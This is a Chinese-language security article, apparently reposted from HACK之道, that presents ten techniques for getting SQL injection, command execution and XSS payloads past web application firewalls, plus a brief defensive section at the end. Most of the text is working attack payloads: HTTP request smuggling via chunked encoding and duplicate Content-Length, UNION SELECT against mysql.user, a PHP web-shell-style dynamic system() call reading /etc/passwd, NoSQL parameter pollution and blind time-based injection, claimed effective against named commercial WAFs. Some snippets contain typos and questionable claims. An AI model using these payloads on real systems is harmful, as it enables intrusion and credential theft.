绕过 WAF 的 10 大实战小技巧!

华盟原创文章投稿奖励计划

一、协议层绕过技巧(3 种)

1. 分块传输编码攻击

POST/search.phpHTTP/1.1
Transfer-Encoding: chunked

7;x-bypass=waf
keyword
0;x-header=true

绕过原理
WAF 未完整解析 chunked 扩展参数时,会漏检 7;x-bypass=waf 后的有效负载。实测对阿里云 WAF 有效。

2. 畸形的 Content-Length

GET/admin.phpHTTP/1.1
Content-Length: 0
Content-Length: 32

admin=1' union select 1,2,3--+

攻击效果
Cloudflare 等 WAF 优先处理第一个 Content-Length,实际后端服务器读取第二个长度值。

3. 多重编码污染

# 三重编码 payload
payload = base64.b64encode(
    urllib.parse.quote(
        html.escape("' OR 1=1-- ")
    ).encode('utf-16le')
)

防御突破点
当 WAF 解码层数小于后端框架时,可构造编码深度差异。


二、语法层绕过技巧(4 种)

4. SQL 语句碎片化

/*!11440UNION*//*!00000SELECT*/
  user,password 
FROM
  mysql.user

技术解析
利用 MySQL 特有注释语法 /*!code*/,其中数字 11440 表示版本号(仅当 MySQL >11.4.40 时执行)

5. JSON 参数污染

{
  "id":1,
  "id":{"$gt":0}
}

MongoDB 场景效果
部分 WAF 仅检查第一个 id 参数,后端 NoSQL 引擎实际使用第二个参数

6. 动态函数调用

// 传统方式被拦截
system("cat /etc/passwd");

// 绕过方式
$func = "s"."y"."s"."t"."e"."m";
$func($_GET['cmd']);

PHP 场景实测
成功绕过 ModSecurity 的 cmd_exec 规则集

7. 正则逃逸技术

SELECT*FROM users WHERE id =1
UNIONSELECT1,
  CONCAT(0x7e, 
    (SELECT
      MID(COLUMN_NAME,1,30) 
    FROM information_schema.columns 
    LIMIT 1,1)
  )

关键点

  • • 使用 MID 替代 SUBSTRING
  • • 0x7e 代替波浪符 ~
  • • 分步获取数据避免触发敏感词

三、语义层绕过技巧(3 种)

8. 上下文逃逸攻击

<script>
  var x = '{{ user_input }}';
</script>

注入点构造

'; alert(1); //

绕过原理
WAF 在 HTML 中检测到单引号会严格拦截,但在 JavaScript 上下文可能放行

9. HTTP 参数碎片污染

GET /search?q=legit&user[id]=1&user[0]=or 1=1-- 

后端解析结果(PHP为例):

$_GET = [
  "q" => "legit",
  "user" => [
    "id" => "1",
    0 => "or 1=1-- "
  ]
]

攻击效果
成功将 SQL 注入语句隐藏在数组结构中

10. 时间盲注混淆

SELECT IF(ASCII(SUBSTR(database(),1,1))>115,
  BENCHMARK(10000000,MD5('x')),
  SLEEP(2)

双重延迟技术

  • • 当条件为真时执行 CPU 密集型操作
  • • 条件为假时使用传统 SLEEP
    绕过基于响应时间的检测规则

四、防御加固方案

规则层优化

# 强制协议合规性
proxy_set_header Content-Length "";
client_header_buffer_size4k;
large_client_header_buffers416k;

语义级检测

# 使用 libinjection 检测语义特征
import libinjection
result = libinjection.is_sql_injection("1' OR '1'='1")
if result['is_sqli']:
    block_request()

动态脚本防护

// 前端输入过滤示例
constcleanInput = (str) => {
  return str.replace(/[^\w\s]/gi, 
    match =>`&#x${match.charCodeAt(0).toString(16)};`
  );
};

五、企业级防护架构

  1. 1. 协议清洗层:标准化 HTTP 头、过滤非法编码
  2. 2. 语义分析层:使用 AST 解析 SQL/命令结构
  3. 3. 行为建模层:建立 API 调用基线模型
  4. 4. 动态防御层:根据攻击特征实时生成规则


文章来源:HACK之道

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容